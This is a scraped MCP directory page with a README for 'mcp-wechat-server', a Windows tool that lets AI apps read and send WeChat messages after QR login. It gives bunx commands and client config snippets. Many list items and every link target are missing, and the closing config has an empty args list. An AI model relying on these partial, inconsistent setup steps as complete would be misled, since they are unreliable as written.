loading…
Runbear
No-code MCP client for team chat platforms, such as Slack, Microsoft Teams, and Discord.
автор: Community
0.00
Search for a command to run...
loading…
Enables AI applications to send and read WeChat messages on Windows PCs through QR code authentication. Provides message polling, text sending, and session pers
Enables AI applications to send and read WeChat messages on Windows PCs through QR code authentication. Provides message polling, text sending, and session persistence for AI-powered chat interactions.
mcp-wechat-server lets an AI app send and read WeChat messages on your Windows PC.
Use it when you want:
It works as an MCP server, so it connects to AI tools that support the Model Context Protocol.
Open the download page here:
If you are on Windows, use this page to get the latest files, then download and run the app from there.
Follow these steps on a Windows PC.
Go to:
Look for the latest release or the main project files.
Download the Windows file or package from the page.
If you see a release file, save it to a folder you can find again, like:
This app needs Bun to run.
Get Bun from:
After install, open Command Prompt or PowerShell and check that it works:
bun -v
If you see a version number, Bun is ready.
Open Command Prompt or PowerShell in the folder where the app is saved.
Run:
bunx mcp-wechat-server
This starts the WeChat server.
Add the server to your AI app’s MCP settings.
Use this setup:
{
"mcpServers": {
"wechat": {
"command": "bunx",
"args": ["mcp-wechat-server"]
}
}
}
If your app uses a different config file, add the same command there.
When the server starts, it can create a QR code for WeChat login.
You can scan it in one of these ways:
Scan the code with WeChat on your phone and finish login.
Use a Windows PC with:
For best results, keep the PC on while the server runs.
The app gives your AI tool a few key actions:
It uses long polling, so it can wait for new messages instead of checking too often. It can wait for a long time if needed.
Add this to claude_desktop_config.json:
{
"mcpServers": {
"wechat": {
"command": "bunx",
"args": ["mcp-wechat-server"]
}
}
}
Add this to opencode.json:
{
"mcp": {
"wechat": {
"type": "local",
"command": ["bunx", "mcp-wechat-server"],
"enabled": true
}
}
}
Use:
{
"command": "bunx",
"args": ["mcp-wechat-server"]
}
After you start the app, do this:
If the code appears as text in the terminal, you can copy it into a QR viewer or use the PNG image if the app creates one.
Once logged in, the AI agent can:
This helps the AI act like a chat assistant in WeChat.
The app keeps local state on your computer.
This includes:
If you restart the app, it can keep working without starting from scratch.
Check these points:
Try this:
Make sure:
Check the MCP config:
bunxmcp-wechat-serverThis server includes 6 MCP tools for WeChat tasks.
They cover:
The server runs on your machine.
That means:
If you want the shortest path on Windows:
bunx mcp-wechat-serverWhen the app starts, you may see:
This is normal. The app waits for WeChat login and then handles messages for your AI tool
If you want to test Bun first, use:
bun -v
If you want to start the server again, use:
bunx mcp-wechat-server
If you are not used to command lines, follow this simple order:
If you can copy and paste text, you can set it up
Use this page to get the latest version:
Добавь это в claude_desktop_config.json и перезапусти Claude Desktop.
{
"mcpServers": {
"mcp-wechat-server": {
"command": "npx",
"args": []
}
}
}